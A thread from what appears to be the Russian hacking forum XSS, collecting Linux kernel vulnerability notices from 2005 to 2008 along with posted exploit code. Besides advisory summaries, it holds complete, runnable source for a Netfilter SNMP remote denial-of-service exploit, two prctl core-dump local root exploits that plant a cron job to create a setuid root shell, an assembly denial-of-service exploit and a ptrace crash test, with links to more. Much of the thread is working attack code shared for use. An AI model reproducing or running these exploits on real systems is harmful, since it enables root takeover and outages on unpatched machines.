• XSS.stack #1 – первый литературный журнал от юзеров форума

Уязвимости в ядре Линукс.

FireEmag

CD-диск
Пользователь
Регистрация
07.10.2005
Сообщения
16
Реакции
0
Многочисленные уязвимости были найдены в загрузчике бинарных файлов типа ELF. Источники этих проблем находятся в функции load_elf_binary файла binfmt_elf.c Первая проблема происходит от неправильной проверки возвращаемого значения функции kernel_load. Атакующий может получить контроль над выполнением SUID-ного бинарника с помощью изменения расположения памяти бинарника. Вторая проблема происходит от неправильной обработки ошибки во время сбоя mmap() Третья уязвимости происходит когда неправильное возврещаемое значение программы интерпретатора (линкера) загружается в память. Говорят, что эта проблема существует только для 2.4.х версий ядра. Четвертая уязвимость выявляется в то время как пользователь может выполнить бинарник с неправильной строкой названия интерпретатора. Эта проблема может привести к системному сбою. Последняя проблема существует в коде execve() . Эта проблема может позволить атакующему раскрыть доступ к важным данным, которые могут потенциально быть использованы чтобы заполучить более высокие привелегии. Эксплоит одной из уязвимостей доступен здесь: http://securityfocus.com/data/vulnerabilit...nfmt_elf_dump.c

[mod][Great:] Склеил эту тему с новой. Теперь тут постим все баги в ядрышке пингвина.[/mod]
 
Многочисленные уязвимости были найдены в загрузчике бинарных файлов типа ELF. Источники этих проблем находятся в функции load_elf_binary файла binfmt_elf.c Первая проблема происходит от неправильной проверки возвращаемого значения функции kernel_load. Атакующий может получить контроль над выполнением SUID-ного бинарника с помощью изменения расположения памяти бинарника. Вторая проблема происходит от неправильной обработки ошибки во время сбоя mmap() Третья уязвимости происходит когда неправильное возврещаемое значение программы интерпретатора (линкера) загружается в память. Говорят, что эта проблема существует только для 2.4.х версий ядра. Четвертая уязвимость выявляется в то время как пользователь может выполнить бинарник с неправильной строкой названия интерпретатора. Эта проблема может привести к системному сбою. Последняя проблема существует в коде execve() . Эта проблема может позволить атакующему раскрыть доступ к важным данным, которые могут потенциально быть использованы чтобы заполучить более высокие привелегии. Эксплоит одной из уязвимостей доступен здесь: http://securityfocus.com/data/vulnerabilit...nfmt_elf_dump.c

Да сплойт очень даже прост, работает на превой уязвимости которую ты описал!
 
Эксплоит уязвимости в ядре Linux 2.6.11
программа: Linux до версии 2.6.11
Описание:
Появился исходный код, эксплуатирующий уязвимость, обнаруженную в ядре Linux до версии 2.6.11. Обнаруженная в системном вызове sys_epoll_wait уязвимость позволяет получить локально полномочия суперпользователя.
Эксплоит:
Взять можно в атаче
Источник:www.securityinfo.ru
 

Вложения

  • ________.txt
    15.9 КБ · Просмотры: 347
Множественные уязвимости в ядре Linux
Программа: Linux kernel версии до 2.6.15
Описание:
Уязвимость позволяет локальному пользователю вызвать отказ в обслуживании системы.

1. Ошибка в файле "mm/mempolicy.c", при обработке политики системного вызова (policy system call), может позволить создать ссылку на неопределенный узел. Локальный пользователь может вызвать панику ядра с помощью вызова функции "set_mempolicy()" с битовой маской 0.

2. Обнаружена ошибка в "net/ipv4/fib_frontend.c" при проверке подлинности заголовка и payload в fib_lookup netlink сообщении. Локальный пользователь может с помощью специально сформированного netlink сообщения создать недозволенную ссылку на определенный участок памяти.

3. Ошибка завышения на единицу (Off-By-One) в файле "kernel/sysctl.c" может позволить локальному пользователю вызвать переполнение буфера.

4. Переполнение буфера обнаружено в CA-driver для TwinHan DST Frontend/Card в файле "drivers/media/dvb/bt8xx/dst_ca.c" при записи более 8 байтов в 8-ми байтовый массив.
Решение: Установите последнюю версию (2.6.15) с сайта производителя

:zns2: Производитель
Источник: SecurityLab
 
Отказ в обслуживании в ядре Linux
Программа: Linux kernel версии до 2.6.15.1
Описание:
Обнаруженные уязвимости позволяют удаленному пользователю вызвать отказ в обслуживании системы.

1. Отсутствует проверка входных данных в переменой "nlmsg_len" в функции "netlink_rcv_skb()". Локальный пользователь может установить значение 0 и вызвать бесконечный цикл.

2. Уязвимость обнаружена в PPTP NAT хелпере при обработке входящих PPTP_IN_CALL_REQUEST пакетов. Удаленный пользователь может с помощью специально сформированного пакета вызвать ошибку при расчете смещения и повредить случайную область памяти ядра. Успешная эксплуатация уязвимости позволит злоумышленнику аварийно завершить работу системы.

3. Обнаружена ошибка в PPTP NAT хелпере при подсчете смещения, основанного на разнице между двумя указателями на заголовок. Удаленный пользователь может вызвать отказ в обслуживании системы.
Решение: Установите последнюю версию (2.6.15.1) с сайта производителя.
:zns2: Производитель
Источник: www.securitylab.org
 
возможность проведения DoS-атаки
Программа: Linux до версии2.6.15.3.
Описание:
Уязвимость связана с некооректной обработкой условий ошибок при конструировании ICMP-ответов в функции "ip_options_echo()" (файл icmp.c в исходном коде ядра). Эта уязвимость может привести к возможности проведения DoS-атаки с использованием специальным образом софрмированных ICMP-пакетов с установленными IP-опциями record-route и timestamp.
 
Отказ в обслуживании в ядре Linux
Программа: Linux kernel версии до 2.6.15.5
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании приложения.

1. Уязвимость существует из-за в функции "nfs_get_user_pages()" из-за недостаточной проверки возвращаемого значения функции "get_user_pages()". Локальный пользователь может вызвать отказ в обслуживании системы путем O_DIRECT записи в NFS файл.

2. Отсутствует проверка входных elf данных. Локальный пользователь может вызвать бесконечный цикл на Intel системе и вызвать отказ в обслуживании.

3. Уязвимость обнаружена в XFS функции "ftruncate()". Локальный пользователь может получить доступ к важным данным на системе.
Решение: Установите последнюю версию (2.6.15.5) с сайта производителя.
 
Давненько сплоитов к линуху не было... одни описания. ну да ладно...
Linux Kernel < 2.6.16.18 (Netfilter NAT SNMP Module) Remote DoS Exploit
Код:
/*
 *  ecl-nf-snmpwn.c - 30/05/06
 *
 *  Alex Behar <alex@ecl-labs.org>
 *  Yuri Gushin <yuri@ecl-labs.org>
 *  
 *  A patch review we did on the 2.6.16.17->18 Linux kernel source tree revealed
 * a restructuring of code in the snmp_parse_mangle() and the snmp_trap_decode()
 * functions. After further research it turned out to be a vulnerability
 * previously reported[1] and assigned with CVE-2006-2444. For more details,
 * the version change log.
 *
 *
 *
 * 1) http://kernel.org/pub/linux/kernel/v2.6/ChangeLog-2.6.16.18
 *
 * -- 
 * Greets fly out to the ECL crew - Valentin Slavov, Dimityr Manevski. 
 * To stranger, shrink, the Console Pimps crew (blexim, ex0, hugin, w00f, matt,
 * kyu, kbd and the rest), our favorite soldier boy Sagi Horev, the SigMIL crew,
 * izik, tanin00, and everyone else we left out. 
 *
 * P.S. - blexim, how are your FACECRABS ???? :))))
 *
 */


#ifndef _BSD_SOURCE
#define _BSD_SOURCE
#endif
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <libnet.h>

void banner();
void usage(char *);

char pwnage[] = "\x30\x0a\x02\x01\x00\x04\x03\x45\x43\x4c\xa4\x00";

int main(int argc, char **argv)
{
	char errbuf[LIBNET_ERRBUF_SIZE];
	libnet_t *l;
	int c;
	u_char *buf;
	int packet_len = 0;
	struct ip *IP;
	struct udphdr *UDP;
	u_int32_t src = 0, dst = 0;


	banner();

	if (argc < 3) usage(argv[0]);

	if ((l = libnet_init(LIBNET_RAW4, NULL, errbuf)) == NULL) {
  fprintf(stderr, "[!] libnet_init() failed: %s", errbuf);
  exit(-1);
	}

	if ((src = libnet_name2addr4(l, argv[1], LIBNET_RESOLVE)) == -1) {
  fprintf(stderr, "[!] Unresolved source address.\n");
  exit(-1);
	}
	if ((dst = libnet_name2addr4(l, argv[2], LIBNET_RESOLVE)) == -1) {
  fprintf(stderr, "[!] Unresolved destination address.\n");
  exit(-1);
	}

	if ((buf = malloc(IP_MAXPACKET)) == NULL) {
  perror("malloc");
  exit(-1);
	}

	UDP = (struct udphdr *)(buf + LIBNET_IPV4_H);

	packet_len = LIBNET_IPV4_H + LIBNET_UDP_H + sizeof(pwnage) - 1;

	srand(time(NULL));
	IP = (struct ip *) buf;
	IP->ip_v    = 4;                   /* version 4 */
	IP->ip_hl   = 5;       /* header length */
	IP->ip_tos  = 0;                   /* IP tos */
	IP->ip_len  = htons(packet_len);   /* total length */
	IP->ip_id   = rand();              /* IP ID */
	IP->ip_off  = htons(0);            /* fragmentation flags */
	IP->ip_ttl  = 64;                  /* time to live */
	IP->ip_p    = IPPROTO_UDP;         /* transport protocol */
	IP->ip_sum  = 0;
	IP->ip_src.s_addr = src;
	IP->ip_dst.s_addr = dst;

	UDP->uh_sport = rand();
	UDP->uh_dport = (argc > 3) ? htons((u_short)atoi(argv[3])) : htons(161);
	UDP->uh_ulen = htons(LIBNET_UDP_H + sizeof(pwnage) - 1);
	UDP->uh_sum = 0;

	memcpy(buf + LIBNET_IPV4_H + LIBNET_UDP_H, pwnage, sizeof(pwnage) - 1);

	libnet_do_checksum(l, (u_int8_t *)buf, IPPROTO_UDP, packet_len - LIBNET_IPV4_H);

	if ((c = libnet_write_raw_ipv4(l, buf, packet_len)) == -1)
	{
  fprintf(stderr, "[!] Write error: %s\n", libnet_geterror(l));
  exit(-1);
	}

	printf("[+] Packet sent.\n");

	libnet_destroy(l);
	free(buf);
	return (0);
}

void usage(char *cmd)
{
	printf("[!] Usage: %s <source> <destination> [port]\n", cmd);
	exit(-1);
}

void banner()
{
	printf("\t\tNetfilter NAT SNMP module DoS exploit\n"
  	"\t\t   Yuri Gushin <yuri@ecl-labs.org>\n"
  	"\t\t    Alex Behar <alex@ecl-labs.org>\n"
  	"\t\t\t       ECL Team\n\n\n");
}
 
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit
Код:
/*****************************************************/
/* Local r00t Exploit for:                           */
/* Linux Kernel PRCTL Core Dump Handling             */
/* ( BID 18874 / CVE-2006-2451 )                     */
/* Kernel 2.6.x  (>= 2.6.13 && < 2.6.17.4)           */
/* By:                                               */
/* - dreyer    <luna@aditel.org>   (main PoC code)   */
/* - RoMaNSoFt <roman@rs-labs.com> (local root code) */
/*                                  [ 10.Jul.2006 ]  */
/*****************************************************/

#include <stdio.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <unistd.h>
#include <linux/prctl.h>
#include <stdlib.h>
#include <sys/types.h>
#include <signal.h>

char *payload="\nSHELL=/bin/sh\nPATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n* * * * *   root   cp /bin/sh /tmp/sh; chown root /tmp/sh; chmod 4755 /tmp/sh; rm -f /etc/cron.d/core\n";

int main() { 
    int child;
    struct rlimit corelimit;
    printf("Linux Kernel 2.6.x PRCTL Core Dump Handling - Local r00t\n");
    printf("By: dreyer & RoMaNSoFt\n");
    printf("[ 10.Jul.2006 ]\n\n");

    corelimit.rlim_cur = RLIM_INFINITY;
    corelimit.rlim_max = RLIM_INFINITY;
    setrlimit(RLIMIT_CORE, &corelimit);

    printf("[*] Creating Cron entry\n");

    if ( !( child = fork() )) {
        chdir("/etc/cron.d");
        prctl(PR_SET_DUMPABLE, 2);
        sleep(200);
        exit(1);
    }

    kill(child, SIGSEGV);

    printf("[*] Sleeping for aprox. one minute (** please wait **)\n");
    sleep(62);

    printf("[*] Running shell (remember to remove /tmp/sh when finished) ...\n");
    system("/tmp/sh -i");
}
 
Код:
;Linux Kernel 2.6.x sys_timer_create() Local Denial of Service Exploit    
 
;   noHeaven.asm   
;nasm -f elf noHeaven.asm
;ld -s -o noHeaven noHeaven.o

section .text
   global _start

count   equ     8      ; threads count - do it quicker

_start:
       mov     ebx, count
       call    create_threads
       jmp     done
_pause:
       mov     eax,29
       int     0x80
       ret
create_threads:
       mov     eax,2
       int     0x80
       test    eax,eax
       jz      consume
       dec     ebx
       test    ebx,ebx
       jnz     create_threads
       ret
consume:
setsid:        ;       so we won't get counted as one thread in oom_killer()
       xor     ebx,ebx;       each task will have about 20 oom_score which
       mov     eax,66;        is less than 'init' and others
       int     0x80
       push    eax
loopek:
       mov     eax,259
       mov     ebx,0
       mov     ecx,0
       mov     edx,esp
       int     0x80
       jmp     loopek
done:
       xor     ebx,ebx
       mov     eax,1
       int     0x80
 
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (2)
Код:
/* Linux >= 2.6.13 prctl kernel exploit
 *
 * (C) Julien TINNES
 *
 * If you read the Changelog from 2.6.13 you've probably seen:
 *  [PATCH] setuid core dump
 * 
 * This patch mainly adds suidsafe to suid_dumpable sysctl but also a new per process,
 * user setable argument to PR_SET_DUMPABLE.
 * 
 * This flaw allows us to create a root owned coredump into any directory.
 * This is trivially exploitable.
 *
 */

#include <sys/types.h>
#include <sys/time.h>
#include <sys/resource.h>
#include <sys/prctl.h>
#include <unistd.h>
#include <stdio.h>
#include <errno.h>
#include <signal.h>
#include <stdlib.h>
#include <time.h>

#define CROND "/etc/cron.d"
#define BUFSIZE 2048


struct rlimit myrlimit={RLIM_INFINITY, RLIM_INFINITY};

char	crontemplate[]=
"#/etc/cron.d/core suid_dumpable exploit\n"
"SHELL=/bin/sh\n"
"PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin\n"
"#%s* * * * *	root  chown root:root %s && chmod 4755 %s && rm -rf %s && kill -USR1 %d\n";

char	cronstring[BUFSIZE];
char	fname[BUFSIZE];

struct timeval te;

void sh(int sn) {
	execl(fname, fname, (char *) NULL);
}
	

int	main(int argc, char *argv[]) {

	int nw, pid;

	if (geteuid() == 0) {
  printf("[+] getting root shell\n");
  setuid(0);
  setgid(0);
  if (execl("/bin/sh", "/bin/sh", (char *) NULL)) {
  	perror("[-] execle");
  	return 1;
  }
	}

	printf("\nprctl() suidsafe exploit\n\n(C) Julien TINNES\n\n");

	/* get our file name */
	if (readlink("/proc/self/exe", fname, sizeof(fname)) == -1) {
  perror("[-] readlink");
  printf("This is not fatal, rewrite the exploit\n");
	}

	if (signal(SIGUSR1, sh) == SIG_ERR) {
  perror("[-] signal");
  return 1;
	}
	printf("[+] Installed signal handler\n");

	/* Let us create core files */
	setrlimit(RLIMIT_CORE, &myrlimit);
	if (chdir(CROND) == -1) {
  perror("[-] chdir");
  return 1;
	}

	/* exploit the flaw */
	if (prctl(PR_SET_DUMPABLE, 2) == -1) {
  perror("[-] prtctl");
  printf("Is you kernel version >= 2.6.13 ?\n");
  return 1;
	}

	printf("[+] We are suidsafe dumpable!\n");

	/* Forge the string for our core dump */
	nw=snprintf(cronstring, sizeof(cronstring), crontemplate, "\n", fname, fname, CROND"/core", getpid());
	if (nw >= sizeof(cronstring)) {
  printf("[-] cronstring is too small\n");
  return 1;
	}
	printf("[+] Malicious string forged\n");

	if ((pid=fork()) == -1) {
  perror("[-] fork");
  return 1;
	}

	if (pid == 0) {
  /* This is not the good way to do it;) */
  sleep(120);
  exit(0);
	}

	/* SEGFAULT the child */
	printf("[+] Segfaulting child\n");
	if (kill(pid, 11) == -1) {
  perror("[-] kill");
  return 1;
	}
	if (gettimeofday(&te, NULL) == 0) 
  printf("[+] Waiting for exploit to succeed (~%ld seconds)\n", 60 - (te.tv_sec%60));
	sleep(120);

	printf("[-] It looks like the exploit failed\n");

	return 1;
}
 
Еще переделки эксплоитов...PoC был опубликован выше, так что повторять больше нет смысла, сливаем
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (3)
:zns5: Скачать|Download
Linux Kernel 2.6.13 <= 2.6.17.4 sys_prctl() Local Root Exploit (4)
:zns5: Скачать|Download
 
Обход фильтрации IPv6 пакетов в ядре Linux
Программа: Linux Kernel 2.6.x
Опасность: Средняя
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет удаленном пользователю обойти некоторые ограничения безопасности.
Уязвимость существует из-за некорректной обработки определенных фрагментированных IPv6 пакетов. Удаленный пользователь может с помощью специально сформированных пакетов обойти правила фильтрации.

URL производителя: www.kernel.org
Решение: Установите исправление из GIT репозитория.
 
Уязвимость при обработке потоков данных в ядре Linux
Программа: Linux 2.6.x
Опасность: Низкая
Наличие эксплоита: Да
Описание:
Уязвимость позволяет локальному пользователю вызвать отказ в обслуживании системы.
Уязвимость существует из-за ошибки в функции "zlib_inflate()" при обработке определенных потоков данных. Злоумышленник может смонтировать специально сформированный cramfs образ и произвести операцию чтения, что приведет к повреждению памяти и отказу в обслуживании системы.

URL производителя: www.kernel.org
Решение: Способов устранения уязвимости не существует в настоящее время.
 
Программа: Linux Kernel 2.6.x

Опасность: Низкая

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

Целочисленное переполнение обнаружено в функции "get_fdb_entries()" в файле net/bridge/br_ioctl.c. Локальный пользователь может с помощью специально сформированного ioctl() запроса вызвать переполнение буфера и выполнить произвольный код на целевой системе.

URL производителя: www.kernel.org

Решение: Установите последнюю версию ядра (2.6.18.4 или 2.6.19) с сайта производителя.
Источник:
Linux 2.6.7-18.3 get_fdb_entries() integer overflow
 
Программа: Linux Kernel 2.6.19
Опасность: Низкая
Наличие эксплоита: Нет
Описание:
Уязвимость позволяет удаленному пользователю вызвать отказ в обслуживании системы.
Уязвимость существует из-за ошибки повреждения памяти в drivers/net/tokenring/ibmtr.c. Удаленный пользователь может с помощью специально сформированного пакета вызвать отказ в обслуживании системы.

URL производителя: www.kernel.org
Решение: Установите исправление из GIT репозитория производителя.
 
Программа: Linux kernel до 2.6.23.16 и 2.6.24.2

Опасность: Низкая

Наличие эксплоита: Да

Описание:
Уязвимость позволяет локальному пользователю повысить свои привилегии на системе.

Уязвимость существует из-за недостаточной проверки параметров в функциях "vmsplice_to_user()", "copy_from_user_mmap_sem()" и "get_iovec_page_array()" в файле fs/splice.c перед выполнением определенных операций с памятью. Локальный пользователь может с помощью специально сформированного "vmsplice()" вызова прочитать и записать данные в произвольные участки памяти и выполнить произвольный код на целевой системе с привилегиями учетной записи root.

URL производителя: www.kernel.org

Решение: Установите последнюю версию ядра 2.6.23.16 или 2.6.24.2 с сайта производителя.

Exploit
 
Отказ в обслуживании в ядре Linux

Программа:
Linux kernel версии до 2.4.36.4
Linux kernel версии до 2.6.25.2

Опасность: Низкая

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет локальному пользователю вызвать отказ в обслуживании системы.

Уязвимость существует из-за ошибки при попытке предотвращения ошибки состояния операции между вызовами "fcntl_setlk()" и "close()" на SMP системах. Злоумышленник может спровоцировать некорректный доступ к таблице дескриптора файла и структуре "file_lock" между потоками, запущенными на различных процессорах.

URL производителя: www.kernel.org

Решение: Установите последнюю версию ядра 2.6.25.2 или 2.4.36.4 с сайта производителя.
 
Повреждение памяти в ядре Linux

16 июня, 2008

Программа: Linux kernel версии до 2.6.26-rc6

Опасность: Низкая

Наличие эксплоита: Нет

Описание:
Уязвимость позволяет удаленному пользователю произвести DoS атаку.

Уязвимость существует из-за ошибки проверки границ данных в функции "pppol2tp_recvmsg()". Удаленный пользователь может с помощью специально сформированного PPP поверх L2TP пакета вызвать повреждение памяти ядра.

URL производителя: www.kernel.org

Решение: Установите последнюю версию 2.6.26-rc6 с сайта производителя.
 
17 октября, 2008

Цель: Linux Kernel версии до 2.6.27-rc6
Воздействие: Отказ в обслуживании

Описание уязвимости:

* Отказ в обслуживании в ядре Linux

Код эксплоита:
Код:
/* Test case for PTRACE_POKEUSR_AREA crashing while writing a padding space.
   s390-on-s390 and s390-on-s390x crashes, s390x-on-s390x has no padding space
   there.
   struct user_regs_struct {
   ...
       long unsigned int orig_gpr2;
   <- HERE are 4 aligned bytes on s390
       s390_fp_regs fp_regs;
   ...
   };

   This software is provided 'as-is', without any express or implied
   warranty.  In no event will the authors be held liable for any damages
   arising from the use of this software.

   Permission is granted to anyone to use this software for any purpose,
   including commercial applications, and to alter it and redistribute it
   freely.  */

#ifdef __ia64__
#define ia64_fpreg ia64_fpreg_DISABLE
#define pt_all_user_regs pt_all_user_regs_DISABLE
#endif    /* __ia64__ */
#include <sys/ptrace.h>
#ifdef __ia64__
#undef ia64_fpreg
#undef pt_all_user_regs
#endif    /* __ia64__ */
#include <linux/ptrace.h>
#include <sys/types.h>
#include <sys/user.h>
#if defined __i386__ || defined __x86_64__
#include <sys/debugreg.h>
#endif

#include <assert.h>
#include <errno.h>
#include <unistd.h>
#include <signal.h>
#include <stdlib.h>
#include <stdio.h>
#include <sys/wait.h>
#include <sys/time.h>
#include <string.h>
#include <stddef.h>

#ifndef PTRACE_POKEUSR_AREA

int
main (void)
{
  return 77;
}

#else    /* PTRACE_POKEUSR_AREA */

/* The minimal alignment we sanity check.  */
#define REGALIGN 4

static pid_t child;

static void
cleanup (void)
{
  if (child > 0)
    kill (child, SIGKILL);
}

static void
handler_fail (int signo)
{
  cleanup ();

  signal (SIGABRT, SIG_DFL);
  abort ();
}

int
main (void)
{
  long l;
  int status, i;
  pid_t pid;
  union
    {
      struct user_regs_struct user;
      /* `per_struct per_info' is not preserved across POKE/PEEK.  */
      unsigned char byte[offsetof (struct user_regs_struct, per_info)];
    } u, u2;
  ptrace_area parea;
  size_t start = offsetof (struct user_regs_struct, orig_gpr2)
         + sizeof (((struct user_regs_struct *) NULL)->orig_gpr2);
  size_t end = offsetof (struct user_regs_struct, fp_regs);

  setbuf (stdout, NULL);
  atexit (cleanup);
  signal (SIGABRT, handler_fail);
  signal (SIGALRM, handler_fail);
  signal (SIGINT, handler_fail);
  i = alarm (10);
  assert (i == 0);

  /* s390x has no padding there, only s390 has.  */
  if (start == end)
    return 77;

  assert (start % REGALIGN == 0);
  assert (end % REGALIGN == 0);
  assert (end - start == REGALIGN);

  child = fork ();
  switch (child)
    {
    case -1:
      assert_perror (errno);
      assert (0);

    case 0:
      l = ptrace (PTRACE_TRACEME, 0, NULL, NULL);
      assert (l == 0);

      raise (SIGSTOP);
      assert (0);

    default:
      break;
    }

  pid = waitpid (child, &status, 0);
  assert (pid == child);
  assert (WIFSTOPPED (status));
  assert (WSTOPSIG (status) == SIGSTOP);


  /* Initialize U with a pattern.  */
  for (i = start; i < end; i++)
    u.byte[i] = i;


  /* Poke U.  */
  parea.process_addr = (unsigned long) &u.byte[start];
  parea.kernel_addr = start;
  parea.len = end - start;
  l = ptrace (PTRACE_POKEUSR_AREA, child, &parea, NULL);
  assert (l == 0);

  /* Peek into U2.  */
  parea.process_addr = (unsigned long) &u2.byte[start];
  parea.kernel_addr = start;
  parea.len = end - start;
  l = ptrace (PTRACE_PEEKUSR_AREA, child, &parea, NULL);
  assert (l == 0);

  /* Verify if we read back zeroes despite we wrote there garbage.  */
  for (i = start; i < end; i++)
    if (u2.byte[i] != 0)
      break;
  if (i == end)
    return 0;

  /* Known FAIL if the padding area is read back how we wrote it as happens on
     a buggy RHEL-5.s390x kernel.  */
  if (memcmp (&u.byte[start], &u2.byte[start], end - start) == 0)
    return 1;

  assert (0);
  /* NOTREACHED */
}

#endif    /* PTRACE_POKEUSR_AREA */
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх